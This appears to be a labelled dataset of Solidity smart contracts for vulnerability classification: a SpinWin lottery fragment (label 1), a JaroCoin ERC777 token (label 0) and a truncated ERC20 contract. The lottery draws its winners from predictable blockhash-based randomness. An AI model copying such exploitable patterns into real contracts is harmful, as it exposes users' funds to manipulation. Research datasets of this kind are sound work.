uint256 public lotteryContributionPercentageModifier;
uint256 public rateConfidenceModifier;
uint256 public currentLotteryPaceModifier;
uint256 public maxLotteryContributionPercentage;
uint256 constant public PERCENTAGE_DIVISOR = 1000000;
uint256 constant public TWO_DECIMALS = 100;
uint256 constant public CURRENCY_DIVISOR = 10 ** 18;
uint256 public startLotteryRewardPercentage;
uint256 internal lotteryContribution;
uint256 internal carryOverContribution;
uint256 public minRewardBlocksAmount;
TokenInterface internal _spintoken;
SettingInterface internal _setting;
struct Lottery {
uint256 lotteryTarget;
uint256 bankroll;
uint256 tokenWagered;
uint256 lotteryResult;
uint256 totalBlocks;
uint256 totalBlocksRewarded;
uint256 startTimestamp;
uint256 endTimestamp;
address winnerPlayerAddress;
bool ended;
bool cashedOut;
}
struct Ticket {
bytes32 ticketId;
uint256 numLottery;
address playerAddress;
uint256 minNumber;
uint256 maxNumber;
bool claimed;
}
mapping (uint256 => Lottery) public lotteries;
mapping (bytes32 => Ticket) public tickets;
mapping (uint256 => mapping (address => uint256)) public playerTokenWagered;
mapping (address => uint256) public playerPendingWithdrawals;
mapping (uint256 => mapping (address => uint256)) public playerTotalBlocks;
mapping (uint256 => mapping (address => uint256)) public playerTotalBlocksRewarded;
event LogCreateLottery(uint256 indexed numLottery, uint256 lotteryBankrollGoal);
event LogEndLottery(uint256 indexed numLottery, uint256 lotteryResult);
event LogAddBankRoll(uint256 indexed numLottery, uint256 amount);
event LogBuyTicket(uint256 indexed numLottery, bytes32 indexed ticketId, address indexed playerAddress, uint256 tokenAmount, uint256 ticketMultiplier, uint256 minNumber, uint256 maxNumber, uint256 ticketType);
event LogClaimTicket(uint256 indexed numLottery, bytes32 indexed ticketId, address indexed playerAddress, uint256 lotteryResult, uint256 playerMinNumber, uint256 playerMaxNumber, uint256 winningReward, uint256 status);
event LogPlayerWithdrawBalance(address indexed playerAddress, uint256 withdrawAmount, uint256 status);
event LogUpdateCurrentTicketMultiplier(uint256 currentTicketMultiplier, uint256 currentTicketMultiplierBlockNumber);
event LogEscapeHatch();
constructor(address _settingAddress, address _tokenAddress, address _spinwinAddress) public {
_setting = SettingInterface(_settingAddress);
_spintoken = TokenInterface(_tokenAddress);
spinwinAddress = _spinwinAddress;
lastLotteryTotalBlocks = 100 * CURRENCY_DIVISOR;
devSetLotteryTargetIncreasePercentage(150000);
devSetMaxBlockSecurityCount(256);
devSetBlockSecurityCount(3);
devSetCurrentTicketMultiplierBlockSecurityCount(3);
devSetTicketMultiplierModifier(300);
devSetMinBankrollDecreaseRate(80);
devSetMinBankrollIncreaseRate(170);
devSetLotteryContributionPercentageModifier(10);
devSetRateConfidenceModifier(200);
devSetCurrentLotteryPaceModifier(200);
devSetStartLotteryRewardPercentage(10000);
devSetMinRewardBlocksAmount(1);
devSetMaxLotteryContributionPercentage(100);
_createNewLottery();
}
modifier contractIsAlive {
require(contractKilled == false);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlySpinwin {
require(msg.sender == spinwinAddress);
_;
}
function devSetLotteryTarget(uint256 _lotteryTarget) public onlyDeveloper {
require (_lotteryTarget >= 0);
lotteryTarget = _lotteryTarget;
Lottery storage _lottery = lotteries[numLottery];
_lottery.lotteryTarget = lotteryTarget;
}
function devSetLotteryTargetIncreasePercentage(uint256 _lotteryTargetIncreasePercentage) public onlyDeveloper {
lotteryTargetIncreasePercentage = _lotteryTargetIncreasePercentage;
}
function devSetBlockSecurityCount(uint256 _blockSecurityCount) public onlyDeveloper {
require (_blockSecurityCount > 0);
blockSecurityCount = _blockSecurityCount;
}
function devSetMaxBlockSecurityCount(uint256 _maxBlockSecurityCount) public onlyDeveloper {
require (_maxBlockSecurityCount > 0);
maxBlockSecurityCount = _maxBlockSecurityCount;
}
function devSetCurrentTicketMultiplierBlockSecurityCount(uint256 _currentTicketMultiplierBlockSecurityCount) public onlyDeveloper {
require (_currentTicketMultiplierBlockSecurityCount > 0);
currentTicketMultiplierBlockSecurityCount = _currentTicketMultiplierBlockSecurityCount;
}
function devSetTicketMultiplierModifier(uint256 _ticketMultiplierModifier) public onlyDeveloper {
require (_ticketMultiplierModifier > 0);
ticketMultiplierModifier = _ticketMultiplierModifier;
}
function devSetMinBankrollDecreaseRate(uint256 _minBankrollDecreaseRate) public onlyDeveloper {
require (_minBankrollDecreaseRate >= 0);
minBankrollDecreaseRate = _minBankrollDecreaseRate;
}
function devSetMinBankrollIncreaseRate(uint256 _minBankrollIncreaseRate) public onlyDeveloper {
require (_minBankrollIncreaseRate > minBankrollDecreaseRate);
minBankrollIncreaseRate = _minBankrollIncreaseRate;
}
function devSetLotteryContributionPercentageModifier(uint256 _lotteryContributionPercentageModifier) public onlyDeveloper {
lotteryContributionPercentageModifier = _lotteryContributionPercentageModifier;
}
function devSetRateConfidenceModifier(uint256 _rateConfidenceModifier) public onlyDeveloper {
rateConfidenceModifier = _rateConfidenceModifier;
}
function devSetCurrentLotteryPaceModifier(uint256 _currentLotteryPaceModifier) public onlyDeveloper {
currentLotteryPaceModifier = _currentLotteryPaceModifier;
}
function devPauseGame(bool paused) public onlyDeveloper {
gamePaused = paused;
}
function devStartLottery() public onlyDeveloper returns (bool) {
Lottery memory _currentLottery = lotteries[numLottery];
require (_currentLottery.ended == true);
_createNewLottery();
return true;
}
function devEndLottery(bool _startNextLottery) public onlyDeveloper returns (bool) {
_endLottery();
if (_startNextLottery) {
_createNewLottery();
}
return true;
}
function devSetStartLotteryRewardPercentage(uint256 _startLotteryRewardPercentage) public onlyDeveloper {
startLotteryRewardPercentage = _startLotteryRewardPercentage;
}
function devSetMinRewardBlocksAmount(uint256 _minRewardBlocksAmount) public onlyDeveloper {
minRewardBlocksAmount = _minRewardBlocksAmount;
}
function devSetMaxLotteryContributionPercentage(uint256 _maxLotteryContributionPercentage) public onlyDeveloper {
maxLotteryContributionPercentage = _maxLotteryContributionPercentage;
}
function escapeHatch() public
onlyEscapeActivator
contractIsAlive
returns (bool) {
contractKilled = true;
_endLottery();
emit LogEscapeHatch();
return true;
}
function claimReward(address playerAddress, uint256 tokenAmount) public
contractIsAlive
gameIsActive
onlySpinwin
returns (bool) {
return _buyTicket(playerAddress, tokenAmount, 2);
}
function () payable public
contractIsAlive
gameIsActive {
lastBlockNumber = block.number;
Lottery storage _currentLottery = lotteries[numLottery];
if (_currentLottery.bankroll.add(msg.value) > lotteryTarget) {
lotteryContribution = lotteryTarget.sub(_currentLottery.bankroll);
carryOverContribution = carryOverContribution.add(msg.value.sub(lotteryContribution));
} else {
lotteryContribution = msg.value;
}
if (lotteryContribution > 0) {
_currentLottery.bankroll = _currentLottery.bankroll.add(lotteryContribution);
totalBankroll = totalBankroll.add(lotteryContribution);
emit LogAddBankRoll(numLottery, lotteryContribution);
}
}
function buyTicket(uint tokenAmount) public
contractIsAlive
gameIsActive
returns (bool) {
require (_spintoken.burnAt(msg.sender, tokenAmount));
return _buyTicket(msg.sender, tokenAmount, 1);
}
function claimTicket(bytes32 ticketId) public
gameIsActive
returns (bool) {
Ticket storage _ticket = tickets[ticketId];
require(_ticket.claimed == false && _ticket.playerAddress == msg.sender);
Lottery storage _lottery = lotteries[_ticket.numLottery];
require(_lottery.ended == true && _lottery.cashedOut == false && _lottery.bankroll > 0 && _lottery.totalBlocks.add(_lottery.totalBlocksRewarded) > 0 && _lottery.lotteryResult > 0);
_ticket.claimed = true;
uint256 status = 0;
if (_lottery.lotteryResult >= _ticket.minNumber && _lottery.lotteryResult <= _ticket.maxNumber) {
uint256 lotteryReward = _lottery.bankroll;
require(totalBankroll >= lotteryReward);
totalBankroll = totalBankroll.sub(lotteryReward);
_lottery.bankroll = 0;
_lottery.winnerPlayerAddress = msg.sender;
_lottery.cashedOut = true;
if (!msg.sender.send(lotteryReward)) {
status = 2;
playerPendingWithdrawals[msg.sender] = playerPendingWithdrawals[msg.sender].add(lotteryReward);
} else {
status = 1;
}
}
emit LogClaimTicket(_ticket.numLottery, ticketId, msg.sender, _lottery.lotteryResult, _ticket.minNumber, _ticket.maxNumber, lotteryReward, status);
return true;
}
function playerWithdrawPendingTransactions() public
gameIsActive {
require(playerPendingWithdrawals[msg.sender] > 0);
uint256 withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
uint256 status = 1;
if (!msg.sender.send(withdrawAmount)) {
status = 0;
playerPendingWithdrawals[msg.sender] = withdrawAmount;
}
emit LogPlayerWithdrawBalance(msg.sender, withdrawAmount, status);
}
function calculateNumBlocks(uint256 tokenAmount) public constant returns (uint256 ticketMultiplier, uint256 numBlocks) {
return (currentTicketMultiplierHonor, currentTicketMultiplierHonor.mul(tokenAmount).div(TWO_DECIMALS));
}
function getNumLottery() public constant returns (uint256) {
return numLottery;
}
function isActive() public constant returns (bool) {
if (gamePaused == true || contractKilled == true) {
return false;
} else {
return true;
}
}
function calculateLotteryContributionPercentage() public
contractIsAlive
gameIsActive
constant returns (uint256) {
Lottery memory _currentLottery = lotteries[numLottery];
uint256 currentTotalLotteryHours = _getHoursBetween(_currentLottery.startTimestamp, now);
uint256 currentWeiToLotteryRate = 0;
if (currentTotalLotteryHours > 0) {
currentWeiToLotteryRate = (_currentLottery.bankroll.mul(TWO_DECIMALS)).div(currentTotalLotteryHours);
}
uint256 predictedCurrentLotteryHours = currentTotalLotteryHours;
if (currentWeiToLotteryRate > 0) {
uint256 temp = (lotteryTarget.sub(_currentLottery.bankroll)).mul(TWO_DECIMALS).mul(TWO_DECIMALS).div(currentWeiToLotteryRate);
predictedCurrentLotteryHours = currentTotalLotteryHours.add(temp.div(TWO_DECIMALS));
}
uint256 currentLotteryPace = 0;
if (avgLotteryHours > 0) {
currentLotteryPace = (predictedCurrentLotteryHours.mul(TWO_DECIMALS).mul(TWO_DECIMALS)).div(avgLotteryHours);
}
uint256 percentageOverTarget = 0;
if (_setting.uintSettings('minBankroll') > 0) {
percentageOverTarget = (_setting.uintSettings('contractBalance').mul(TWO_DECIMALS)).div(_setting.uintSettings('minBankroll'));
}
currentTotalLotteryHours = currentTotalLotteryHours.mul(TWO_DECIMALS);
uint256 rateConfidence = 0;
if (avgLotteryHours.add(currentTotalLotteryHours) > 0) {
rateConfidence = currentTotalLotteryHours.mul(TWO_DECIMALS).div(avgLotteryHours.add(currentTotalLotteryHours));
}
uint256 lotteryContributionPercentage = lotteryContributionPercentageModifier;
if (percentageOverTarget > 0) {
lotteryContributionPercentage = lotteryContributionPercentage.add(TWO_DECIMALS.sub((TWO_DECIMALS.mul(TWO_DECIMALS)).div(percentageOverTarget)));
} else {
lotteryContributionPercentage = lotteryContributionPercentage.add(TWO_DECIMALS);
}
if (currentLotteryPace.add(currentLotteryPaceModifier) > 0) {
lotteryContributionPercentage = lotteryContributionPercentage.add((rateConfidence.mul(rateConfidenceModifier).mul(currentLotteryPace)).div(TWO_DECIMALS.mul(currentLotteryPace.add(currentLotteryPaceModifier))));
}
if (lotteryContributionPercentage > maxLotteryContributionPercentage) {
lotteryContributionPercentage = maxLotteryContributionPercentage;
}
return lotteryContributionPercentage;
}
function startNextLottery() public
contractIsAlive
gameIsActive {
Lottery storage _currentLottery = lotteries[numLottery];
require (_currentLottery.bankroll >= lotteryTarget && _currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded) > 0);
uint256 startLotteryRewardBlocks = calculateStartLotteryRewardBlocks();
_endLottery();
_createNewLottery();
if (carryOverContribution > 0) {
_currentLottery = lotteries[numLottery];
if (_currentLottery.bankroll.add(carryOverContribution) > lotteryTarget) {
lotteryContribution = lotteryTarget.sub(_currentLottery.bankroll);
carryOverContribution = carryOverContribution.sub(lotteryContribution);
} else {
lotteryContribution = carryOverContribution;
carryOverContribution = 0;
}
_currentLottery.bankroll = _currentLottery.bankroll.add(lotteryContribution);
totalBankroll = totalBankroll.add(lotteryContribution);
emit LogAddBankRoll(numLottery, lotteryContribution);
}
_buyTicket(msg.sender, startLotteryRewardBlocks, 3);
}
function calculateStartLotteryRewardBlocks() public constant returns (uint256) {
uint256 totalRewardBlocks = lastLotteryTotalBlocks.mul(startLotteryRewardPercentage).div(PERCENTAGE_DIVISOR);
if (totalRewardBlocks == 0) {
totalRewardBlocks = minRewardBlocksAmount;
}
return totalRewardBlocks;
}
function getCurrentTicketMultiplierHonor() public constant returns (uint256) {
return currentTicketMultiplierHonor;
}
function getCurrentLotteryTargetBalance() public constant returns (uint256, uint256) {
Lottery memory _lottery = lotteries[numLottery];
return (_lottery.lotteryTarget, _lottery.bankroll);
}
function _createNewLottery() internal returns (bool) {
numLottery++;
lotteryTarget = _setting.uintSettings('minBankroll').add(_setting.uintSettings('minBankroll').mul(lotteryTargetIncreasePercentage).div(PERCENTAGE_DIVISOR));
Lottery storage _lottery = lotteries[numLottery];
_lottery.lotteryTarget = lotteryTarget;
_lottery.startTimestamp = now;
_updateCurrentTicketMultiplier();
emit LogCreateLottery(numLottery, lotteryTarget);
return true;
}
function _endLottery() internal returns (bool) {
Lottery storage _currentLottery = lotteries[numLottery];
require (_currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded) > 0);
uint256 blockNumberDifference = block.number - lastBlockNumber;
uint256 targetBlockNumber = 0;
if (blockNumberDifference < maxBlockSecurityCount.sub(blockSecurityCount)) {
targetBlockNumber = lastBlockNumber.add(blockSecurityCount);
} else {
targetBlockNumber = lastBlockNumber.add(maxBlockSecurityCount.mul(blockNumberDifference.div(maxBlockSecurityCount))).add(blockSecurityCount);
}
_currentLottery.lotteryResult = _generateRandomNumber(_currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded), targetBlockNumber);
if (contractKilled == true && carryOverContribution > 0) {
lotteryTarget = lotteryTarget.add(carryOverContribution);
_currentLottery.lotteryTarget = lotteryTarget;
_currentLottery.bankroll = _currentLottery.bankroll.add(carryOverContribution);
totalBankroll = totalBankroll.add(carryOverContribution);
emit LogAddBankRoll(numLottery, carryOverContribution);
}
_currentLottery.endTimestamp = now;
_currentLottery.ended = true;
uint256 endingLotteryHours = _getHoursBetween(_currentLottery.startTimestamp, now);
totalLotteryHours = totalLotteryHours.add(endingLotteryHours);
avgLotteryHours = totalLotteryHours.mul(TWO_DECIMALS).div(numLottery);
lastLotteryTotalBlocks = _currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded);
if (_setting.boolSettings('contractKilled') == false && _setting.boolSettings('gamePaused') == false) {
uint256 lotteryPace = 0;
if (endingLotteryHours > 0) {
lotteryPace = avgLotteryHours.mul(TWO_DECIMALS).div(endingLotteryHours).div(TWO_DECIMALS);
}
uint256 newMinBankroll = 0;
if (lotteryPace <= minBankrollDecreaseRate) {
newMinBankroll = _setting.uintSettings('minBankroll').mul(minBankrollDecreaseRate).div(TWO_DECIMALS);
} else if (lotteryPace <= minBankrollIncreaseRate) {
newMinBankroll = _setting.uintSettings('minBankroll').mul(minBankrollIncreaseRate).div(TWO_DECIMALS);
} else {
newMinBankroll = _setting.uintSettings('minBankroll').mul(lotteryPace).div(TWO_DECIMALS);
}
_setting.spinlotterySetMinBankroll(newMinBankroll);
}
emit LogEndLottery(numLottery, _currentLottery.lotteryResult);
}
function _buyTicket(address _playerAddress, uint256 _tokenAmount, uint256 _ticketType) internal returns (bool) {
require (_ticketType >=1 && _ticketType <= 3);
totalBuyTickets++;
Lottery storage _currentLottery = lotteries[numLottery];
if (_ticketType > 1) {
uint256 _ticketMultiplier = TWO_DECIMALS;
uint256 _numBlocks = _tokenAmount;
_tokenAmount = 0;
} else {
_currentLottery.tokenWagered = _currentLottery.tokenWagered.add(_tokenAmount);
totalTokenWagered = totalTokenWagered.add(_tokenAmount);
(_ticketMultiplier, _numBlocks) = calculateNumBlocks(_tokenAmount);
}
bytes32 _ticketId = keccak256(abi.encodePacked(this, _playerAddress, numLottery, totalBuyTickets));
Ticket storage _ticket = tickets[_ticketId];
_ticket.ticketId = _ticketId;
_ticket.numLottery = numLottery;
_ticket.playerAddress = _playerAddress;
_ticket.minNumber = _currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded).add(1);
_ticket.maxNumber = _currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded).add(_numBlocks);
playerTokenWagered[numLottery][_playerAddress] = playerTokenWagered[numLottery][_playerAddress].add(_tokenAmount);
if (_ticketType > 1) {
_currentLottery.totalBlocksRewarded = _currentLottery.totalBlocksRewarded.add(_numBlocks);
playerTotalBlocksRewarded[numLottery][_playerAddress] = playerTotalBlocksRewarded[numLottery][_playerAddress].add(_numBlocks);
} else {
_currentLottery.totalBlocks = _currentLottery.totalBlocks.add(_numBlocks);
playerTotalBlocks[numLottery][_playerAddress] = playerTotalBlocks[numLottery][_playerAddress].add(_numBlocks);
}
emit LogBuyTicket(numLottery, _ticket.ticketId, _ticket.playerAddress, _tokenAmount, _ticketMultiplier, _ticket.minNumber, _ticket.maxNumber, _ticketType);
_updateCurrentTicketMultiplier();
_setting.spinlotteryUpdateTokenToWeiExchangeRate();
return true;
}
function _updateCurrentTicketMultiplier() internal returns (bool) {
Lottery memory _currentLottery = lotteries[numLottery];
if (lastLotteryTotalBlocks > _currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded)) {
uint256 temp = (lastLotteryTotalBlocks.sub(_currentLottery.totalBlocks.add(_currentLottery.totalBlocksRewarded))).mul(TWO_DECIMALS).div(lastLotteryTotalBlocks);
currentTicketMultiplier = TWO_DECIMALS.add(ticketMultiplierModifier.mul(temp).div(TWO_DECIMALS));
} else {
currentTicketMultiplier = TWO_DECIMALS;
}
if (block.number > currentTicketMultiplierBlockNumber.add(currentTicketMultiplierBlockSecurityCount) || _currentLottery.tokenWagered == 0) {
currentTicketMultiplierHonor = currentTicketMultiplier;
currentTicketMultiplierBlockNumber = block.number;
emit LogUpdateCurrentTicketMultiplier(currentTicketMultiplierHonor, currentTicketMultiplierBlockNumber);
}
return true;
}
function _generateRandomNumber(uint256 maxNumber, uint256 targetBlockNumber) internal constant returns (uint256) {
uint256 randomNumber = 0;
for (uint256 i = 1; i < blockSecurityCount; i++) {
randomNumber = ((uint256(keccak256(abi.encodePacked(randomNumber, blockhash(targetBlockNumber-i), numLottery + totalBuyTickets + totalTokenWagered))) % maxNumber)+1);
}
return randomNumber;
}
function _getHoursBetween(uint256 _startTimestamp, uint256 _endTimestamp) internal pure returns (uint256) {
uint256 _timestampDiff = _endTimestamp.sub(_startTimestamp);
uint256 _hours = 0;
while(_timestampDiff >= 3600) {
_timestampDiff -= 3600;
_hours++;
}
return _hours;
}
} | 1 | 2,780 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC820Registry {
function getManager(address addr) public view returns(address);
function setManager(address addr, address newManager) public;
function getInterfaceImplementer(address addr, bytes32 iHash) public constant returns (address);
function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public;
}
contract ERC820Implementer {
ERC820Registry erc820Registry = ERC820Registry(0x991a1bcb077599290d7305493c9A630c20f8b798);
function setInterfaceImplementation(string ifaceLabel, address impl) internal {
bytes32 ifaceHash = keccak256(ifaceLabel);
erc820Registry.setInterfaceImplementer(this, ifaceHash, impl);
}
function interfaceAddr(address addr, string ifaceLabel) internal constant returns(address) {
bytes32 ifaceHash = keccak256(ifaceLabel);
return erc820Registry.getInterfaceImplementer(addr, ifaceHash);
}
function delegateManagement(address newManager) internal {
erc820Registry.setManager(this, newManager);
}
}
interface ERC777TokensSender {
function tokensToSend(address operator, address from, address to, uint amount, bytes userData,bytes operatorData) external;
}
interface ERC777TokensRecipient {
function tokensReceived(address operator, address from, address to, uint amount, bytes userData, bytes operatorData) external;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
setOwner(msg.sender);
}
function setOwner(address newOwner) internal {
owner = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
setOwner(newOwner);
}
}
contract JaroCoinToken is Ownable, ERC820Implementer {
using SafeMath for uint256;
string public constant name = "JaroCoin";
string public constant symbol = "JARO";
uint8 public constant decimals = 18;
uint256 public constant granularity = 1e10;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => bool)) public isOperatorFor;
mapping (address => mapping (uint256 => bool)) private usedNonces;
event Transfer(address indexed from, address indexed to, uint256 value);
event Sent(address indexed operator, address indexed from, address indexed to, uint256 amount, bytes userData, bytes operatorData);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes userData, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply = 0;
uint256 public constant maxSupply = 21000000e18;
function send(address _to, uint256 _amount, bytes _userData) public {
doSend(msg.sender, _to, _amount, _userData, msg.sender, "", true);
}
function sendByCheque(address _to, uint256 _amount, bytes _userData, uint256 _nonce, uint8 v, bytes32 r, bytes32 s) public {
require(_to != address(this));
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 hash = keccak256(prefix, keccak256(_to, _amount, _userData, _nonce));
address signer = ecrecover(hash, v, r, s);
require (signer != 0);
require (!usedNonces[signer][_nonce]);
usedNonces[signer][_nonce] = true;
doSend(signer, _to, _amount, _userData, signer, "", true);
}
function authorizeOperator(address _operator) public {
require(_operator != msg.sender);
isOperatorFor[_operator][msg.sender] = true;
emit AuthorizedOperator(_operator, msg.sender);
}
function revokeOperator(address _operator) public {
require(_operator != msg.sender);
isOperatorFor[_operator][msg.sender] = false;
emit RevokedOperator(_operator, msg.sender);
}
function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public {
require(isOperatorFor[msg.sender][_from]);
doSend(_from, _to, _amount, _userData, msg.sender, _operatorData, true);
}
function requireMultiple(uint256 _amount) internal pure {
require(_amount.div(granularity).mul(granularity) == _amount);
}
function isRegularAddress(address _addr) internal constant returns(bool) {
if (_addr == 0) { return false; }
uint size;
assembly { size := extcodesize(_addr) }
return size == 0;
}
function callSender(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData
) private {
address senderImplementation = interfaceAddr(_from, "ERC777TokensSender");
if (senderImplementation != 0) {
ERC777TokensSender(senderImplementation).tokensToSend(
_operator, _from, _to, _amount, _userData, _operatorData);
}
}
function callRecipient(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
) private {
address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient");
if (recipientImplementation != 0) {
ERC777TokensRecipient(recipientImplementation).tokensReceived(
_operator, _from, _to, _amount, _userData, _operatorData);
} else if (_preventLocking) {
require(isRegularAddress(_to));
}
}
function doSend(
address _from,
address _to,
uint256 _amount,
bytes _userData,
address _operator,
bytes _operatorData,
bool _preventLocking
)
private
{
requireMultiple(_amount);
callSender(_operator, _from, _to, _amount, _userData, _operatorData);
require(_to != 0x0);
require(balanceOf[_from] >= _amount);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
callRecipient(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
emit Sent(_operator, _from, _to, _amount, _userData, _operatorData);
emit Transfer(_from, _to, _amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
doSend(msg.sender, _to, _value, "", msg.sender, "", false);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isOperatorFor[msg.sender][_from]);
doSend(_from, _to, _value, "", msg.sender, "", true);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 _amount) {
if (isOperatorFor[_spender][_owner]) {
_amount = balanceOf[_owner];
} else {
_amount = 0;
}
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != msg.sender);
if (_value > 0) {
isOperatorFor[_spender][msg.sender] = true;
emit AuthorizedOperator(_spender, msg.sender);
} else {
isOperatorFor[_spender][msg.sender] = false;
emit RevokedOperator(_spender, msg.sender);
}
emit Approval(msg.sender, _spender, _value);
return true;
}
function mint(address _to, uint256 _amount, bytes _operatorData) public onlyOwner {
require (totalSupply.add(_amount) <= maxSupply);
requireMultiple(_amount);
totalSupply = totalSupply.add(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
callRecipient(msg.sender, 0x0, _to, _amount, "", _operatorData, true);
emit Minted(msg.sender, _to, _amount, _operatorData);
emit Transfer(0x0, _to, _amount);
}
function burn(uint256 _amount, bytes _userData) public {
require (_amount > 0);
require (balanceOf[msg.sender] >= _amount);
requireMultiple(_amount);
callSender(msg.sender, msg.sender, 0x0, _amount, _userData, "");
totalSupply = totalSupply.sub(_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
emit Burned(msg.sender, msg.sender, _amount, _userData, "");
emit Transfer(msg.sender, 0x0, _amount);
}
} | 0 | 1,538 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
